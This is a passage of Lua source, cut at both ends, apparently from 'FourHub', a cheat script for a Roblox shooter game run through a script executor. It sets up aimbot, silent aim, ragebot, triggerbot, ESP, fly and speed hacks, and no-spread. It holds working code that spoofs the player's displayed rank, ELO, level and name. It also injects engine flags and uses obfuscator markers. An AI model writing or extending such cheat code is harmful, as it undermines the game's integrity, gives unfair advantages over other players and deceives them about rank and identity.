workspace.ViewModels.FirstPerson; local utility = require(modules.Utility); local enum_lib = require(modules.EnumLibrary); local item_lib = require(modules.ItemLibrary); local cosmetic_lib = require(modules.CosmeticLibrary); local data_ctrl = require(local_player.PlayerScripts.Controllers.PlayerDataController); local rep_class = require(replicated_storage.Modules.ReplicatedClass); local equip_remote = replicated_storage.Remotes.Data.EquipCosmetic; local fav_remote = replicated_storage.Remotes.Data.FavoriteCosmetic; local finishers = replicated_storage.Modules.Finishers; local gun = require(local_player.PlayerScripts.Modules.ItemTypes.Gun); local katana = require(local_player.PlayerScripts.Modules.Items.Katana); local fighter_controller = require(local_player.PlayerScripts.Controllers.FighterController); local camera_controller = require(local_player.PlayerScripts.Controllers.CameraController); local mechanics_controller = require(local_player.PlayerScripts.Controllers.MechanicsController); local tracer_effect = require(local_player.PlayerScripts.Modules.TracerEffect); local pages = require(local_player.PlayerScripts.Modules.UserInterface.Pages); local client_entity = require(local_player.PlayerScripts.Modules.ClientReplicatedClasses.ClientEntity); local client_viewmodel = require(local_player.PlayerScripts.Modules.ClientReplicatedClasses.ClientFighter.ClientItem.ClientViewModel); local duel_controller = require(local_player.PlayerScripts.Controllers.DuelController); local client_item = require(local_player.PlayerScripts.Modules.ClientReplicatedClasses.ClientFighter.ClientItem); local controls_controller = require(local_player.PlayerScripts.Controllers.ControlsController); local player_data_controller = require(local_player.PlayerScripts.Controllers.PlayerDataController); local equipment_state = require(local_player.PlayerScripts.Modules.UserInterface.Equipment.Interface.Customize.Options); local cosmetic_state = require(local_player.PlayerScripts.Modules.UserInterface.Equipment.Interface.Customize.Cosmetics); local cosmetic_inventory = player_data_controller:Get('CosmeticInventory'); local finisher = require(local_player.PlayerScripts.Modules.UserInterface.Equipment.Scene.FinisherPlayer); local local_fighter = fighter_controller.LocalFighter; local in_match = local_fighter:Get("IsInDuel") == true; local trove = GLOBAL_TROVE; local new_drawing = Drawing.new; local old_force_auto = {}; local old_jump_fist = mechanics_controller._original_jump_power; local oldoffsets = {}; local clickedontheremote = false; local was_i_in_a_match = false; local thisisforsubspace = { ['Subspace Tripmine'] = 'SubspaceTripmineHitbox' }; local Tabs = { Main = Window:AddTab('combat'), visualstab = Window:AddTab('visuals'), esptab = Window:AddTab('esp'), worldtab = Window:AddTab('world'), character_tab = Window:AddTab('character'), misc_tab = Window:AddTab('misc'), optimizations = Window:AddTab('optimizations'), lua = Window:AddTab('lua'), ['UI Settings'] = Window:AddTab('settings'), }; getgenv().FourHub = { optimizations = { no_particles = false, no_shadows = false, low_quality = false, no_postfx = false, no_textures = false, no_atmosphere = false, fps_cap_enable = false, fps_cap = 60, }, silent_aim = { enable = false, visualize = false, visualize_color = Color3.fromRGB(0, 30, 255), closest_part = false, show_fov = false, show_fill = false, fov_radius = 180, lerp = 0, follow_target = false, follow_gunpoint = false, fov_color = Color3.fromRGB(0, 30, 255), fov_fill_color = Color3.fromRGB(0, 30, 255), fov_fill_color2 = Color3.fromRGB(255, 255, 255), fov_fill_transparency = 0.6, fov_outline_transparency = 0.2, fov_thickness = 2, fov_color2 = Color3.fromRGB(255, 255, 255), fov_rotation_speed = 90, hit_chance = 100, riot_shield = false, }, ragebot = { enable = false, ffa_mode = false, x = 0, y = 2, z = 0, prediction = true, prediction_amount = 1, }, chams = { enable = false, team_check = false, mode = "highlight", fill_color = Color3.fromRGB(0, 170, 255), fill_transparency = 0.5, outline_color = Color3.fromRGB(255, 255, 255), outline_transparency = 0, material = "Neon", strip_textures = false, ghost = false, }, crosshair = { enable = false, style = "cross", lines = true, top_line = true, bottom_line = true, left_line = true, right_line = true, rotation = 0, length = 6, thickness = 1, gap = 3, color = Color3.fromRGB(0, 255, 170), outline = false, outline_color = Color3.fromRGB(0, 0, 0), dot = false, rotating = false, rotating_speed = 120, spread = false, spread_scale = 1, animation = false, animation_mode = "pulse", animation_speed = 3, fade = false, fade_color = Color3.fromRGB(255, 0, 170), follow_target = false, follow_source = "target", shimmer = false, shimmer_speed = 4, text_enable = false, text_content = "Sapphire Hub", text_font = "Plex", text_size = 16, text_offset = 18, text_color = Color3.fromRGB(255, 255, 255), text_outline = true, text_animation = false, }, aimbot = { enable = false, show_fov = false, follow_target = false, show_fill = false, fov_color = Color3.fromRGB(0, 30, 255), follow_gunpoint = false, fov_fill_color = Color3.fromRGB(0, 30, 255), fov_fill_color2 = Color3.fromRGB(255, 255, 255), fov_radius = 180, lerp = 0, fov_fill_transparency = 0.6, fov_outline_transparency = 0.2, fov_thickness = 2, fov_color2 = Color3.fromRGB(255, 255, 255), fov_rotation_speed = 90, smoothing = 1, closest_part = false, }, auto_vote_map = { enable = false, map = "", }, animation = { enable = false, select_animation = "", speed = 2, }, triggerbot = { enable = false, team_check = false, reaction_time = 0.05, shoot_delay = 0.1, max_distance = 500, }, weather = { enable = false, color = Color3.fromRGB(255, 255, 255), rate = 100, type = "snow", }, esp = { enable = false, team_check = true, box = { enable = false, color = Color3.new(1, 1, 1), outline = Color3.new(0, 0, 0), inline = Color3.new(0, 0, 0), thickness = 1, }, glow = { enable = false, color_start = Color3.new(1, 1, 1), color_end = Color3.new(1, 1, 1), transparency = 1, rotation = 90, speed = 2, animated = false, }, filled = { enable = false, color_start = Color3.new(1, 1, 1), color_end = Color3.new(1, 1, 1), transparency = 0.75, rotation = 90, speed = 2, animated = false, hit_flash = false, hit_color = Color3.fromRGB(255, 40, 40), hit_time = 0.3, }, visible = { enable = false, color = Color3.fromRGB(60, 255, 90), }, highlight = { enable = false, fill_color = Color3.fromRGB(0, 30, 255), outline_color = Color3.fromRGB(255, 255, 255), fill_transparency = 0.55, outline_transparency = 0, }, health = { enable = false, color_high = Color3.fromRGB(0, 255, 0), color_mid = Color3.fromRGB(255, 255, 0), color_low = Color3.fromRGB(255, 0, 0), width = 3, gap = 5, }, text = { name = { enable = false, color = Color3.new(1, 1, 1) }, studs = { enable = false, color = Color3.new(1, 1, 1) }, tool = { enable = false, color = Color3.new(1, 1, 1), position = "right" }, size = 9, gradient = false, gradient_color1 = Color3.fromRGB(0, 30, 255), gradient_color2 = Color3.fromRGB(255, 255, 255), flow = false, flow_speed = 1, }, max_dist = 25000, }, death_effects = { enable = false, type = "Explosion", color = Color3.fromRGB(0, 30, 255), }, damage_numbers = { enable = false, remove_ingame = false, color_type = "Gradient", color1 = Color3.fromRGB(255, 80, 80), color2 = Color3.fromRGB(255, 210, 90), font = "GothamBold", duration = 0.8, rise = 42, text_size = 18, }, trajectory = { enable = false, all_weapons = false, speed = 90, arc_up = 10, color = Color3.fromRGB(0, 30, 255), }, target_hud = { enable = false, target_method = "", position_mode = "static", offset_x = 0, offset_y = 0, scale = 1, }, world = { fog = false, fog_color = Color3.fromRGB(255, 255, 255), fog_start = 150, fog_end = 550, ambient = false, ambient_color = Color3.fromRGB(255, 255, 255), clock = false, clock_time = 14, brightness = false, brightness_level = 1, exposure = false, exposure_level = 0, color_shift_top = false, color_shift_top_color = Color3.fromRGB(255, 255, 255), color_shift_bottom = false, color_shift_bottom_color = Color3.fromRGB(255, 255, 255), skybox = false, skybox_selected = 'Deep Space', skybox_rotate = false, skybox_rotate_speed = 1, skybox_rotate_direction = 'Horizontal', skybox_rotate_method = 'Spin', skybox_remove_sun = false, skybox_remove_moon = false, skybox_remove_stars = false, atmosphere = false, atmosphere_glare = 1.5, atmosphere_haze = 10, atmosphere_offset = 0.4, atmosphere_density = 0.5, atmosphere_color = Color3.fromRGB(255, 255, 255), atmosphere_decay = Color3.fromRGB(90, 60, 30), blur = false, blur_size = 12, bloom = false, bloom_intensity = 1, bloom_size = 24, bloom_threshold = 0.9, depth_of_field = false, dof_focus = 25, dof_intensity = 0.15, sun_rays = false, sun_rays_intensity = 0.25, sun_rays_spread = 1, saturation = false, saturation_level = 0, contrast_level = 0, tint_color = Color3.fromRGB(255, 255, 255), lighting_technology = false, lighting_technology_mode = 'Future', global_shadows = true, env_diffuse = false, env_diffuse_scale = 1, env_specular = false, env_specular_scale = 1, outdoor_ambient = false, outdoor_ambient_color = Color3.fromRGB(70, 70, 70), }, disable_anims = { enable = false, select = {}, }, fov_changer = { enable = false, fov = 80, }, auto_slide = { enable = false, }, guns = { no_muzzle_flash = false, no_spread = false, force_modifier_enable = false, force_modifier_v = 0, }, targeting = { max_distance = 100, part = "Head", visible_only = false, anti_katana = false, riot_shield = false, auto_shoot = false, }, device_spoof = { enable = false, type = "MouseKeyboard", }, textures = { enable = false, material = "Brick", color = Color3.fromRGB(244, 244, 244), apply_to_viewmodel = false, }, rage = { enable = false, auto = false, silent = false, hitpart = "HitboxHead", prediction = false, prediction_mult = 1.2, orbit_speed = 12, orbit_height = 2, orbit_radius = 0, }, phase_spam = { enable = false, shoot_time = 1, hide_time = 1, }, phase_hide = { enable = false, }, profile = { spoof_local = false, spoof_local_name = "", spoof_other = false, spoof_other_name = "", }, infinite_double_jump = { enable = false, }, double_jump_height = { enable = false, height = 50, }, sound_spammer = { enable = false, type = "DoubleJump", }, auto_loadout = { enable = false, loadout = { 'Assault Rifle', 'Handgun', 'Fists', 'Grenade' } }, third_person = { enable = false, }, arcade_server = { grab_drops = false, auto_respawn = false, }, removals = { no_freeze_effect = false, no_burn_effect = false, no_flash_effect = false, }, viewmodel_chams = { weapon_chams = { enable = false, color = Color3.fromRGB(255, 255, 255), material = "Neon", transparency = 0, }, arm_chams = { enable = false, color = Color3.fromRGB(255, 255, 255), material = "Neon", transparency = 0, invisible = false, }, weapon_highlight = { enable = false, color = Color3.fromRGB(255, 255, 255), transparency = 0.5, outline_color = Color3.fromRGB(255, 255, 255), outline_transparency = 0, }, arm_highlight = { enable = false, color = Color3.fromRGB(255, 255, 255), transparency = 0.5, outline_color = Color3.fromRGB(255, 255, 255), outline_transparency = 0, }, }, viewmodel_offsets = { enable = false, x = 0, y = 0, z = 0, }, viewmodel_custom = { enable = false, appearance = false, body = { color_enable = false, color = Color3.fromRGB(255, 255, 255), material_enable = false, material = "ForceField", disable_clothes = false, transparency = 0, }, item = { color_enable = false, color = Color3.fromRGB(255, 255, 255), material_enable = false, material = "ForceField", transparency = 0, }, }, stretched_res = { enable = false, stretched_res_amount = 0.20 }, hit_notify = { enable = false, duration = 3, msg = "Hit {target} for {damage}" }, custom_hitsounds = { enable = false, remove_default_hitsound = false, volume = 3, pitch = 1, selected = nil, }, custom_hiteffects = { enable = false, color = Color3.fromRGB(255, 0, 0), }, bullet_tracers = { enable = false, color_start = Color3.fromRGB(255, 255, 255), color_end = Color3.fromRGB(255, 255, 255), texture = "lightning", position_lerp_speed = 0, life_time = 1.5, glow = 4, width0 = 0.35, width1 = 0.15, speed = 3, spring_expand = false, expand_speed = 12, expand_damper = 0.6, curve_around = false, curve_height = 14, through_walls = false, }, auto_queue = { enable = false, queue_mode = "", }, thrower_esp = { enable = false, name = false, image = false, name_color = Color3.fromRGB(255, 255, 255), name_size = 14, distance = false, distance_color = Color3.fromRGB(255, 255, 255), distance_size = 12, thrower_select = "", font = "ProggyTiny", }, fly = { enable = false, speed = 50, }, walkspeed = { enable = false, multiplier = 1.5, }, motion_blur = { enable = false, intensity = 0.5, sensitivity = 1, }, slide_boost = { enable = false, speed = 60, }, spoof = { level = { enable = false, value = 9, }, streak = { enable = false, value = 9, }, }, player_status_spoof = { enable = false, select = "", }, rank_spoof = { enable = false, rank = "Arch Nemesis", }, elo_spoof = { enable = false, value = 60000, }, name_spoof = { enable = false, display = "", username = "", }, }; local ELI = getgenv().FourHub; local spoof_old = { level = local_player:GetAttribute("Level") , streak = local_player:GetAttribute("StatisticDuelsWinStreak"), playerstatus = local_player:GetAttribute("PlayerStatus"), elo = local_player:GetAttribute("DisplayELO"), }; run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.spoof.level.enable then local_player:SetAttribute("Level", ELI.spoof.level.value); end; if ELI.spoof.streak.enable then local_player:SetAttribute("StatisticDuelsWinStreak", ELI.spoof.streak.value); end; if ELI.player_status_spoof.enable then local_player:SetAttribute("PlayerStatus", ELI.player_status_spoof.select); end; if ELI.elo_spoof.enable then local_player:SetAttribute("DisplayELO", ELI.elo_spoof.value); end; end)); do local RANK_ICONS = { ["Bronze"] = "rbxassetid://111599878354131", ["Silver"] = "rbxassetid://82834564754747", ["Gold"] = "rbxassetid://80716950169934", ["Diamond"] = "rbxassetid://131795064007344", ["Onyx"] = "rbxassetid://114166096331502", ["Nemesis"] = "rbxassetid://133903971285645", ["Arch Nemesis"] = "rbxassetid://134520747948636", }; local function commas(n) local s = tostring(n); while true do local r; s, r = string.gsub(s, "^(-?%d+)(%d%d%d)", "%1,%2"); if r == 0 then break end; end; return s; end; local function rankIconFor(rank) if RANK_ICONS[rank] then return RANK_ICONS[rank] end; local base = rank:gsub("%s*%d+%s*$", ""):gsub("^%s+", ""):gsub("%s+$", ""); return RANK_ICONS[base] or ""; end; local held = setmetatable({}, { __mode = "k" }); local function anySpoofOn() return ELI.rank_spoof.enable or ELI.elo_spoof.enable or ELI.name_spoof.enable; end; local function lockText(label, value) if not label or not label:IsA("TextLabel") then return end; if label.Text ~= value then label.Text = value end; if held[label] then return end; held[label] = true; label:GetPropertyChangedSignal("Text"):Connect(function() if not anySpoofOn() then return end; if label.Text ~= value then label.Text = value end; end); end; local function lockImage(img, value) if not img or not (img:IsA("ImageLabel") or img:IsA("ImageButton")) then return end; if img.Image ~= value then img.Image = value end; if held[img] then return end; held[img] = true; img:GetPropertyChangedSignal("Image"):Connect(function() if not ELI.rank_spoof.enable then return end; if img.Image ~= value then img.Image = value end; end); end; local function nameMatches() local real = local_player.Name; local disp = local_player.DisplayName; return { [disp] = "display", [real] = "name", ["@" .. real] = "atname", }; end; local function spoofNameLabel(label) if not ELI.name_spoof.enable then return end; local t = label.Text; if t == "" then return end; local disp = ELI.name_spoof.display ~= "" and ELI.name_spoof.display or local_player.DisplayName; local user = ELI.name_spoof.username ~= "" and ELI.name_spoof.username or local_player.Name; local m = nameMatches(); local kind = m[t]; if kind == "display" then lockText(label, disp); elseif kind == "name" then lockText(label, user); elseif kind == "atname" then lockText(label, "@" .. user); end; end; local function isMyRow(slot) local playerFrame = slot:FindFirstChild("Player"); if not playerFrame then return false end; local m = nameMatches(); for _, node in eli_ipairs(playerFrame:GetDescendants()) do if node:IsA("TextLabel") and m[node.Text] then return true; end; end; return false; end; local scan = LPH_NO_VIRTUALIZE(function() if not anySpoofOn() then return end; local gui = local_player:FindFirstChild("PlayerGui"); if not gui then return end; local mainGui = gui:FindFirstChild("MainGui"); local rankOn = ELI.rank_spoof.enable; local eloOn = ELI.elo_spoof.enable; local nameOn = ELI.name_spoof.enable; local rankText = ELI.rank_spoof.rank or ""; local rankIcon = rankOn and rankIconFor(rankText) or ""; local eloText = eloOn and commas(ELI.elo_spoof.value) or nil; local roots = { mainGui, gui:FindFirstChild("PlayerList") }; for _, root in eli_ipairs(roots) do if root then for _, d in eli_ipairs(root:GetDescendants()) do if d:IsA("TextLabel") then if nameOn then spoofNameLabel(d); end; if d.Name == "CurrentELO" and eloText and d:FindFirstAncestor("ELOBar") then lockText(d, eloText); elseif (d.Name == "LeftRank" or d.Name == "RightRank") and rankOn and rankText ~= "" and d:FindFirstAncestor("ELOBar") then lockText(d, rankText); end; end; end; end; end; if rankOn and rankIcon ~= "" then local list = gui:FindFirstChild("PlayerList") or (mainGui and mainGui:FindFirstChild("PlayerList")); if list then for _, slot in eli_ipairs(list:GetDescendants()) do if slot.Name == "PlayerListSlot" and isMyRow(slot) then local stat = slot:FindFirstChild("Leaderstat"); local container = stat and stat:FindFirstChild("RankContainer"); if container then for _, ic in eli_ipairs(container:GetDescendants()) do if ic.Name == "Icon" and (ic:IsA("ImageLabel") or ic:IsA("ImageButton")) then lockImage(ic, rankIcon); end; end; end; end; end; end; end; end); task.spawn(function() while true do pcall(scan); task.wait(0.5); end; end); end; do local opt = ELI.optimizations; local lighting = game:GetService("Lighting"); local particle_classes = { ParticleEmitter = true, Trail = true, Smoke = true, Fire = true, Sparkles = true, }; local post_classes = { BloomEffect = true, BlurEffect = true, ColorCorrectionEffect = true, SunRaysEffect = true, DepthOfFieldEffect = true, }; local particle_saved = setmetatable({}, { __mode = "k" }); local texture_saved = setmetatable({}, { __mode = "k" }); local post_saved = setmetatable({}, { __mode = "k" }); local orig_shadows, orig_quality, orig_atmo_density; local shadows_saved, quality_saved, atmo_saved = false, false, false; local function applyParticle(inst, on) if not particle_classes[inst.ClassName] then return end; if on then if particle_saved[inst] == nil then particle_saved[inst] = inst.Enabled end; pcall(function() inst.Enabled = false end); elseif particle_saved[inst] ~= nil then pcall(function() inst.Enabled = particle_saved[inst] end); particle_saved[inst] = nil; end; end; local function applyTexture(inst, on) if not (inst:IsA("Decal") or inst:IsA("Texture")) then return end; if on then if texture_saved[inst] == nil then texture_saved[inst] = inst.Transparency end; pcall(function() inst.Transparency = 1 end); elseif texture_saved[inst] ~= nil then pcall(function() inst.Transparency = texture_saved[inst] end); texture_saved[inst] = nil; end; end; local function applyPost(inst, on) if not post_classes[inst.ClassName] then return end; if on then if post_saved[inst] == nil then post_saved[inst] = inst.Enabled end; pcall(function() inst.Enabled = false end); elseif post_saved[inst] ~= nil then pcall(function() inst.Enabled = post_saved[inst] end); post_saved[inst] = nil; end; end; local scanning = false; local function scanWorkspace() if scanning then return end; scanning = true; task.spawn(function() local list = workspace:GetDescendants(); for i = 1, #list do local inst = list[i]; applyParticle(inst, opt.no_particles); applyTexture(inst, opt.no_textures); if i % 800 == 0 then task.wait() end; end; scanning = false; end); end; local function scanLighting() for _, inst in eli_ipairs(lighting:GetDescendants()) do applyPost(inst, opt.no_postfx); end; end; local function applyShadows() if opt.no_shadows then if not shadows_saved then orig_shadows = lighting.GlobalShadows; shadows_saved = true end; pcall(function() lighting.GlobalShadows = false end); elseif shadows_saved then pcall(function() lighting.GlobalShadows = orig_shadows end); shadows_saved = false; end; end; local function applyQuality() pcall(function() local render = settings().Rendering; if opt.low_quality then if not quality_saved then orig_quality = render.QualityLevel; quality_saved = true end; render.QualityLevel = Enum.QualityLevel.Level01; elseif quality_saved then render.QualityLevel = orig_quality; quality_saved = false; end; end); end; local function applyAtmosphere() local atmo = lighting:FindFirstChildOfClass("Atmosphere"); if opt.no_atmosphere then if atmo then if not atmo_saved then orig_atmo_density = atmo.Density; atmo_saved = true end; pcall(function() atmo.Density = 0 end); end; local clouds = workspace:FindFirstChild("Terrain") and workspace.Terrain:FindFirstChildOfClass("Clouds"); if clouds then pcall(function() clouds.Enabled = false end) end; else if atmo and atmo_saved then pcall(function() atmo.Density = orig_atmo_density end); atmo_saved = false; end; local clouds = workspace:FindFirstChild("Terrain") and workspace.Terrain:FindFirstChildOfClass("Clouds"); if clouds then pcall(function() clouds.Enabled = true end) end; end; end; local function applyFpsCap() if not setfpscap then return end; if opt.fps_cap_enable then pcall(setfpscap, opt.fps_cap); else pcall(setfpscap, 1000); end; end; trove:Add(workspace.DescendantAdded:Connect(function(inst) if opt.no_particles then applyParticle(inst, true) end; if opt.no_textures then applyTexture(inst, true) end; end)); trove:Add(lighting.DescendantAdded:Connect(function(inst) if opt.no_postfx then applyPost(inst, true) end; end)); getgenv().FourHub_apply_opt = function(kind) if kind == "particles" or kind == "textures" then scanWorkspace(); elseif kind == "postfx" then scanLighting(); elseif kind == "shadows" then applyShadows(); elseif kind == "quality" then applyQuality(); elseif kind == "atmosphere" then applyAtmosphere(); elseif kind == "fpscap" then applyFpsCap(); end; end; end do local FFLAG_PRESET = [==[ { "FFlagDebugGraphicsPreferVulkan": "True", "FFlagDebugGraphicsDisableDirect3D11": "True", "FFlagDisablePostFx": "True", "FIntDebugForceMSAASamples": "1", "DFIntDebugFRMQualityLevelOverride": "1", "DFFlagTextureQualityOverrideEnabled": "True", "DFIntTextureQualityOverride": "0", "FIntRenderShadowIntensity": "0", "FIntRenderShadowmapBias": "0", "FFlagRenderShadowSkipHugeCulling": "True", "FIntRenderLocalLightUpdatesMax": "1", "FIntRenderLocalLightUpdatesMin": "1", "FIntRenderLocalLightFadeInMs": "0", "FFlagGlobalWindActivated": "False", "FFlagGlobalWindRendering": "False", "FIntFRMMinGrassDistance": "0", "FIntFRMMaxGrassDistance": "0", "FIntRenderGrassDetailStrands": "0", "FIntRenderGrassHeightScaler": "0", "FIntGrassMovementReducedMotionFactor": "0", "FIntTerrainArraySliceSize": "0", "FIntSSAOMipLevels": "1", "FFlagDebugSSAOForce": "False", "FIntRobloxGuiBlurIntensity": "0", "FIntBloomFrmCutoff": "-1", "FFlagRenderNoLowFrmBloom": "False", "DFIntMaxFrameBufferSize": "4", "FFlagFastGPULightCulling3": "True", "FFlagDebugForceFSMCPULightCulling": "True", "FFlagRenderEnableGlobalInstancingD3D11": "True", "FFlagCommitToGraphicsQualityFix": "True", "DFIntTaskSchedulerTargetFps": "10000", "FFlagTaskSchedulerLimitTargetFpsTo2402": "False", "FFlagHandleAltEnterFullscreenManually": "False", "FIntTargetRefreshRate": "144", "FIntRefreshRateLowerBound": "120", "DFIntTextureCompositorActiveJobs": "0", "FIntTextureCompositorLowResFactor": "4", "DFIntDebugLimitMinTextureResolutionWhenSkipMips": "0", "FIntTextureCompositorMaxTextureSize": "256", "FIntDebugTextureManagerSkipMips": "-1", "DFIntDebugAdditionalNumberOfMipsToSkipForNonAlbedoTextures": "0", "FFlagDontRerenderForBadTexture": "True", "FFlagDontRenderInGameAds": "True", "FIntCameraMaxZoomDistance": "999999", "FFlagRenderTestEnableDistanceCulling": "True", "FFlagOcclusionCullingBetaFeature": "True", "FIntOcclusionCullingBetaFeatureRolloutPercent": "100", "FFlagEnableCullableScene2OptimizeStep": "True", "FIntEnableCullableScene2HundredthPercent3": "100" } ]==]; local http = game:GetService("HttpService"); local function get_setter() return setfflag or set_fflag or (syn and syn.set_fflag) or (getgenv() and getgenv().setfflag); end; getgenv().FourHub_fflag_preset = FFLAG_PRESET; getgenv().FourHub_inject_fflags = function(json_str) if type(json_str) ~= "string" or json_str:gsub("%s", "") == "" then json_str = FFLAG_PRESET; end; local ok, decoded = pcall(function() return http:JSONDecode(json_str) end); if not ok or type(decoded) ~= "table" then return { ok = false, reason = "invalid json" }; end; local setter = get_setter(); local applied, total = 0, 0; if setter then for name, value in eli_pairs(decoded) do total = total + 1; if pcall(setter, name, tostring(value)) then applied = applied + 1 end; end; end; local saved = false; if writefile then pcall(function() if makefolder and isfolder and not isfolder("FourHub") then makefolder("FourHub") end; writefile("FourHub/fflags.json", json_str); saved = true; end); end; return { ok = true, live = setter ~= nil, applied = applied, total = total, saved = saved }; end; end; local hitsound_dir = { ["windows xp"] = "rbxassetid://108009100115241", ["minecraft bow"] = "rbxassetid://3442683707", ["neverlose"] = "rbxassetid://97643101798871", ["steve"] = "rbxassetid://132883456216684", ["among us"] = "rbxassetid://93866204681438", ["bonk"] = "rbxassetid://5766898159", ["rust"] = "rbxassetid://1255040462", ["fatality"] = "rbxassetid://6534947869", ["hitmarker"] = "rbxassetid://133749572213659", ["csgo"] = "rbxassetid://5764885315", ["minecraft success bow hit"] = "rbxassetid://131197435969853", }; local texture_id = { ["beam"] = "rbxassetid://12781852245", ["lightning"] = "rbxassetid://446111271", ["heartrate"] = "rbxassetid://5830549480", ["chain"] = "rbxassetid://9632168658", ["glitch"] = "rbxassetid://8089467613", ["swirl"] = "rbxassetid://5638168605", ["neon"] = "rbxassetid://6361963422", ["arrow1"] = "rbxassetid://17476697388", ["bullets1"] = "rbxassetid://9841273413", ["bullets2"] = "rbxassetid://1858602290", ["curve1"] = "rbxassetid://117681058875712", ["curve2"] = "rbxassetid://16616706916", ["curve3"] = "http://www.roblox.com/asset/?id=15253421443", ["curve4"] = "http://www.roblox.com/asset/?id=4537267850", ["curve5"] = "rbxassetid://1263079249", ["curve6"] = "rbxassetid://12781806168", ["dna"] = "http://www.roblox.com/asset/?id=7071778278", ["dna2"] = "rbxassetid://15881443696", ["dna3"] = "rbxassetid://123918947552219", ["dna4"] = "http://www.roblox.com/asset/?id=5259529792", ["dna5"] = "rbxassetid://76346066683743", ["dna6"] = "rbxassetid://14339578398", ["dna7"] = "rbxassetid://6479047126", ["glow1"] = "http://www.roblox.com/asset/?id=2382169232", ["laser1"] = "rbxassetid://6091329339", ["laser2"] = "rbxassetid://116093865393953", ["laser3"] = "rbxassetid://1277456789", ["laser4"] = "rbxassetid://6091329339", ["laser5"] = "rbxassetid://88990578414815", ["laser6"] = "rbxassetid://12781750620", ["line1"] = "rbxassetid://16726866463", ["line2"] = "http://www.roblox.com/asset/?id=18804963960", ["line3"] = "http://www.roblox.com/asset/?id=14987385912", ["line4"] = "rbxassetid://80526693693402", ["line5"] = "rbxassetid://88341572922411", ["none (solid)"] = "", ["pattern1"] = "rbxassetid://16892453445", ["pattern2"] = "rbxassetid://9632168313", ["pattern3"] = "rbxassetid://12781812529", ["pattern4"] = "rbxassetid://12781850191", ["ray1"] = "rbxassetid://14715282464", ["ray2"] = "http://www.roblox.com/asset/?id=446111271", ["ray3"] = "rbxassetid://16892384522", }; getgenv().FourHub_materials = { presets = { ["Neon"] = { material = Enum.Material.Neon }, ["ForceField"] = { material = Enum.Material.ForceField }, ["Glass"] = { material = Enum.Material.Glass, reflectance = 0.10, transparency = 0.20 }, ["Chrome"] = { material = Enum.Material.Metal, reflectance = 1.00 }, ["Ice"] = { material = Enum.Material.Ice, reflectance = 0.35 }, ["Diamond"] = { material = Enum.Material.Glass, reflectance = 0.65, transparency = 0.10 }, ["Hologram"] = { material = Enum.Material.ForceField, transparency = 0.35 }, ["Ghost"] = { material = Enum.Material.Neon, transparency = 0.55 }, ["Obsidian"] = { material = Enum.Material.Glass, reflectance = 0.25 }, ["Gold Foil"] = { material = Enum.Material.Foil, reflectance = 0.50 }, ["Frostbite"] = { material = Enum.Material.Glacier, reflectance = 0.20 }, ["Plasma"] = { material = Enum.Material.Neon }, ["Molten"] = { material = Enum.Material.CorrodedMetal, reflectance = 0.05 }, ["Prism"] = { material = Enum.Material.Glass, reflectance = 0.40, transparency = 0.15 }, }, names = { "Neon", "ForceField", "Glass", "Chrome", "Ice", "Diamond", "Hologram", "Ghost", "Obsidian", "Gold Foil", "Frostbite", "Plasma", "Molten", "Prism", }, }; local theanimationsd = { ["Meditate"] = "96579993895076", ["Orbit"] = "133811691098518", ["Floss"] = "72174079036035", ["OJ"] = "110064349530772", ["Kicking Feet"] = "131879764029003", ["Take the L"] = "112884830175040", ["Hype"] = "80055417516516", }; local world = { fog_color = lighting.FogColor, fog_start = lighting.FogStart, fog_end = lighting.FogEnd, ambient = lighting.Ambient, clock_time = lighting.ClockTime, brightness = lighting.Brightness, exposure = lighting.ExposureCompensation, color_shift_top = lighting.ColorShift_Top, color_shift_bottom = lighting.ColorShift_Bottom, }; trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.world.fog then lighting.FogColor = ELI.world.fog_color; lighting.FogStart = ELI.world.fog_start; lighting.FogEnd = ELI.world.fog_end; end; if ELI.world.ambient then lighting.Ambient = ELI.world.ambient_color; end; if ELI.world.clock then lighting.ClockTime = ELI.world.clock_time; end; if ELI.world.brightness then lighting.Brightness = ELI.world.brightness_level; end; if ELI.world.exposure then lighting.ExposureCompensation = ELI.world.exposure_level; end; if ELI.world.color_shift_top then lighting.ColorShift_Top = ELI.world.color_shift_top_color; end; if ELI.world.color_shift_bottom then lighting.ColorShift_Bottom = ELI.world.color_shift_bottom_color; end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.double_jump_height.enable then mechanics_controller._original_jump_power = ELI.double_jump_height.height; end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.auto_slide.enable then if mechanics_controller.IsSprinting then mechanics_controller:Slide(); end; end; end))); trove:Add(run_service.Heartbeat:Connect(LPH_NO_VIRTUALIZE(function() if ELI.fly.enable and local_player.Character and local_player.Character:FindFirstChild("HumanoidRootPart") then local hrp = local_player.Character.HumanoidRootPart; local move_vector = Vector3.new(0, 0, 0); if uis:IsKeyDown(Enum.KeyCode.W) then move_vector += camera.CFrame.LookVector; end; if uis:IsKeyDown(Enum.KeyCode.S) then move_vector -= camera.CFrame.LookVector; end; if uis:IsKeyDown(Enum.KeyCode.A) then move_vector -= camera.CFrame.RightVector; end; if uis:IsKeyDown(Enum.KeyCode.D) then move_vector += camera.CFrame.RightVector; end; if uis:IsKeyDown(Enum.KeyCode.Space) then move_vector += Vector3.new(0, 1, 0); end; if uis:IsKeyDown(Enum.KeyCode.LeftShift) then move_vector -= Vector3.new(0, 1, 0); end; if move_vector.Magnitude > 0 then hrp.CFrame += move_vector.Unit * ELI.fly.speed * run_service.Heartbeat:Wait(); else hrp.CFrame = CFrame.new(hrp.Position) * (hrp.CFrame - hrp.CFrame.Position); end; hrp.AssemblyLinearVelocity = Vector3.zero; hrp.AssemblyAngularVelocity = Vector3.zero; end; end))) do local motion_blur = Instance.new("BlurEffect"); motion_blur.Name = "FourHub_motion_blur"; motion_blur.Size = 0; motion_blur.Enabled = false; motion_blur.Parent = lighting; trove:Add(motion_blur); local motion_blur_look = camera.CFrame.LookVector; trove:Add(run_service.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function(dt) local cfg = ELI.motion_blur; if not cfg.enable then if motion_blur.Enabled then motion_blur.Enabled = false; motion_blur.Size = 0; end; motion_blur_look = camera.CFrame.LookVector; return end; motion_blur.Enabled = true; local look = camera.CFrame.LookVector; local delta = (look - motion_blur_look).Magnitude; motion_blur_look = look; local target = math.clamp(delta / math.max(dt, 1 / 240) * cfg.sensitivity * cfg.intensity * 0.35, 0, 56 * cfg.intensity); motion_blur.Size = motion_blur.Size + (target - motion_blur.Size) * 